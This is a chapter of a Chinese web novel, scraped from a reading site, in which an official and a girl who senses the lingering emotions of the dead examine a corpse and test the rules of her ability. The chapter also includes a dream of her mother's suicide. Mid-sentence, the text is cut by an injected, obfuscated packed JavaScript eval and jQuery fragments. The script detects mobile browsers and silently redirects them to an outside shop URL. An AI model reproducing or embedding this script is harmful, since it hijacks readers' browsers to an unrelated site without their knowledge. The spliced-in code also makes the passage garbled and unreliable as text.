默认冷灰
24号文字
方正启体

25. 025

作者:鱼心所善本书字数:K更新时间:
    按照沈京墨的吩咐,张秋实的遗体被单独存放。


    义庄管事是个哑巴,听得见,说不了话。他把他们带到最后一进院落,抬手朝最西边的屋子指了指,又比划了几个手势,便转身离开。


    看着他远去的背影,温女萝一脸茫然:“他比划的是啥意思?”


    “他说,我还有事要忙,恕不奉陪。”沈京墨道。


    温女萝小作吃惊:“大人懂手语?”


    沈京墨沉吟片刻,若无其事地说:“祖父教的。”


    温女萝闻言恨不得自打嘴巴,真是哪壶不开提哪壶。她率先走进停尸间,然后整个人都僵住了——屋里竟是一具完全赤裸的男性尸体。


    眼前突然一黑,柔软的掌心蒙住了她的眼睛。沈京墨语气冷冽:“去外头等着。”


    温女萝没有动,呆呆地站在原地:“看不见要我怎么走?”


    宽大的手掌在她脸上变换方向,沈京墨从她身后转到她面前。男人身形挺拔,足够遮挡女孩子的视线。


    温女萝只来得及看见一袭月白衣衫,便被推搡着出了门。


    没过多久,里头传来沈京墨的声音:“进来。”


    张秋实全身上下被白布裹得严严实实,只有一截右掌裸露在外。


    温女萝挨着尸体坐下,却没有急着动手,而是望向沈京墨,等他的指示。


    沈京墨没吭声,点了下头,算是同意。


    女孩子握住张秋实的右掌。沈京墨看着,莫名觉得心口发酸,鬼使神差地伸手把人攥过来。温女萝跌进男人怀里,清亮的眸子犹如林间小鹿,肆意踩在他的心口,一下接着一下。


    “大人?”她疑惑出声。


    “记一下时间。”沈京墨推开她,面无表情地说,“方才看见了吗?”


    “没有。”温女萝老老实实回答,末了还不忘拍下马屁,“大人思虑果然周全。”


    经过初步测试,得出两条规则。


    第一,技能需要被动触发,不受主观意识支配。


    第二,触发时间七秒钟。


    七秒之后,沈京墨盯着那两只握在一处的手,神色有点冷:“如何?”


    温女萝红了脸,觉得难以启齿,犹豫良久,终究抬起双手,“啪啪”拍了三下。


    沈京墨有点不敢相信:“被蚊子咬死的?”


    温女萝幽幽叹一口气。沈大头果然还是太落后,不懂什么叫作为爱鼓掌。


    “这个张秋实,在青楼和一名女子快乐地玩游戏,然后他们觉得不够快乐,又喊了一名女子进来,三个人一起快乐,但是因为太快乐,张秋实就这样快乐死了。”仿佛有人追着赶着似的,温女萝一口气说完,停顿片刻又加上一句,“大人听懂了吗?”


    沈京墨没有回答这个问题,起身出了门,很快黑着一张脸回来:“马上风就说马上风,你说的什么乱七八糟。”


    温女萝顾不上反驳,打了个哈欠,道:“我回去补觉,沈大人再见。”


    沈京墨揪住她的衣角,语气森森:“本官说过你可以走了吗?”他停了停,等温女萝转过头,才接着说,“每隔一个时辰测量一次,十二个时辰之后以日计数,七日之后以月计数,半年之后——”


    温女萝打断他的话:“大人的祖父死了六年,难道要我在这里陪张秋实六年?大人莫要忘了,我的役期只有三个月!谁的祖父谁去管,跟我有什么关系。”


    屋内的气氛顿时变得压抑。


    沈京墨静静地站在那儿,身后是明亮的光,像水一样轻轻游走,却始终不肯往前一步,任由他的面容没入一片阴影之中。


    记忆如潮水般涌来,仿佛又回到了那天。他带着陆清萱,匆匆赶到慈恩寺,满怀欣喜地推开门,以为一切都将如愿。可门后景象,成了再也走不出的噩梦。


    祖父用的力气极大,几乎割掉半边脑袋。他跪在地上,拼命拿手捂住伤口,鲜血不断往外淌,猩红的、粘稠的、炙热的……


    但凡自己早一点赶来,祖父就不会死。


    沈京墨弯了弯僵直的手指,转身就走:“十七姑娘,我不该勉强你,你请自便。”


    男人的背影看起来很伤心,甚至连周围的空气,都带上了这种感觉。


    温女萝追到门口,扶着门框道:“大人,我错了。”


    沈京墨略一驻足,然后头也不回地离开。


    天空飘起毛毛雨,落在地上听不见一点声响。温女萝等了一个时辰,不见沈京墨回来,心里又气又急,打算就此离开。奈何天公不作美,小雨变成大雨,雨滴敲打屋檐,如同一首天然的催眠曲。


    迷迷糊糊间,她歪在椅子上睡了过去。


    梦里,温女萝又回到前世。卧室的灯今早坏了,四周黑得伸手不见五指。


    她摸索着走到门边,拧了拧门把手,发现打不开。


    客厅的灯亮着,光从门缝底下挤进来,暖黄黄的。她趴下来,把脸贴在地板上,然后看见妈妈的脚踩在凳子上,妈妈的手握着麻绳,妈妈的头正在往绳圈里钻。


    “不要!”


    她拼命拍打房门,用尽全身力气哭喊。


    “妈妈不要走!不要丢下我!我不要妈妈死掉!我会乖乖听话,我会好好读书,妈妈——”


    窗外一记炸雷,温女萝陡然惊醒。


    门不知何时被关上,屋内有些昏暗,除了张秋实裹着的那抹白色,什么也瞧不见。


    胸口涌起一阵不舒服的感觉,温女萝快步走到门边,伸手去推那扇紧闭的门。


    推不开。


    梦境与现实交织,她顿时着了急:“大人,我以后一定听你的话,不要丢下我!大人,开开门!大人不要吓我!大人!”


    拍门的声音越来越大,温女萝的情绪越来越激动,完全听不见门外呼喊。


    沈京墨拉开窗扇,撑着窗沿一跃而下。


    光线从窗外洒入,尽管不甚明亮,但足够温女萝看清他的俊脸,当即眉毛倒竖,小嘴叭叭个不停:“自从来了你身边,我哪样事情没有依着你。你不吃葱花,我吃。你要吃糖,我买。你爱吃巧克力,我带着伤给你做。如今发泄两句而已,你就记在了心里,看我吓得哇哇大叫,你很高兴是不是?沈大头,你没良心!”


    一口气听完她的话,沈京墨沉默不语,只两步上前,将门吱呀一声拉开。旋即一阵风过,门板缓慢往外移动,底端撞到门槛石,发出砰的一声巨响。


    温女萝抖了下,装作没看见:“大人我错了。”


    “你的账算完,该轮到我了。”沈京墨朝着她慢慢走过来。


    “大人什么意思?”温女萝不明所以,下意识往门口方向挪去。


    两人的位置瞬间反转。


    沈京墨忽然拔高


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505981|202027||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    声音:“谁是沈大头?”


    “沈大头……”温女萝一时语塞,瞥一眼走道上的回廊,抬脚冲了进去,“沈大头就是沈大头!”


    外边下着暴雨,她没有马车可乘,只能在回廊里打转。


    沈京墨站在门边,瞧着女孩子一副大难临头的模样,弯了弯嘴角:“卯君,过来吃饭。”


    温女萝愣了愣,屁颠屁颠地跑回去:“好嘞。”


    张秋实安然地躺在那里,他们就在尸体边上搭了张简易的桌子。


    温女萝挑着菜,好话说了一箩筐,总算将先进奖暂时保住。


    “本官说过,不到万不得已,不会借用你的能力。”沈京墨低着头,教人看不清表情,“你总是把我的话当耳旁风。”


    温女萝不好意思地笑笑。


    六年之后,沈老太爷便是去世十二年,照这么算下去,一辈子也追不上。


    “我有听大人的话,每隔一个时辰测量一次。不过没有用,什么都看不见。”她道。


    沈京墨若有所思,得出第三条规则:“在死人身上,触发限制只能一次使用。”


    那么,活人呢?


    回忆起过去种种,温女萝作出总结:“没有次数限制,但遇上情绪平淡或者深度睡眠,照样看不见。”


    沈京墨猛然抬起头,一双黑眸像浸过冰水似的,冒着丝丝寒气:“你很喜欢摸别人的手吗?”清朗的声音带上鄙夷,他显然很嫌弃,“变态。”


    “大人没资格说我。”温女萝瞪他一眼,随后又问,“接下来怎么办?”


    “再试试。”沈京墨沉吟片刻,试着推断,“人之情绪稍纵即逝,你所探知的那些更像是……”


    他正斟酌用词,听见温女萝吐出两个字:“残念。”


    沈京墨点了点头:“对。残存的执念。”


    闻言,温女萝抽了抽唇角,没有纠正他的说法。


    沈京墨继续道:“宋安然的不甘,苏妙儿的茫然,张秋实的悔恨,这些情绪残留在他们的尸体上,一旦被人探知,就会恢复平淡,或者说,永远沉睡。”


    如此,不管活人还是死人,都能解释得通。


    但根据第一条规则,温女萝的能力没办法主动触发,也就是说,情绪才是主体,放着不管也会烟消云散。


    而沈老太爷死去多年,只怕再深的残念也无法找回。


    沈京墨暗叹来的不是时候,那些陈年老尸今日已经被悉数安葬,外头又下着暴雨,只能改日再来挖坟。


    跟他不一样,温女萝悄悄松了一口气。


    沈大头弱不禁风,如果当真要挖坟,动手的人只会是她。感谢老天,就此逃过一劫!


    暗夜中,暴雨倾盆而下。车夫在车前挂上一盏防风灯,赶着马儿,径直驶向长安城。


    温女萝伸长脖子,对着车厢里那扇朝前开的小窗,大声喊道:“从安化门进城,我在大安坊下。”


    大安坊位于长安城最南边,挨着安化门。那里地段便宜,鱼龙混杂,京兆府时常接到百姓报案。刑名师爷总是抱怨审不过来,周颜可更是记不清自己抓了多少回鸡,又寻了多少回猪。


    沈京墨扫了她一眼:“去干嘛?”


    温女萝高抬下巴,满脸神气地说:“我在大安坊买了座小院,沈大人要不要去喝杯茶?”


    沈京墨挑了挑眉:“好。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)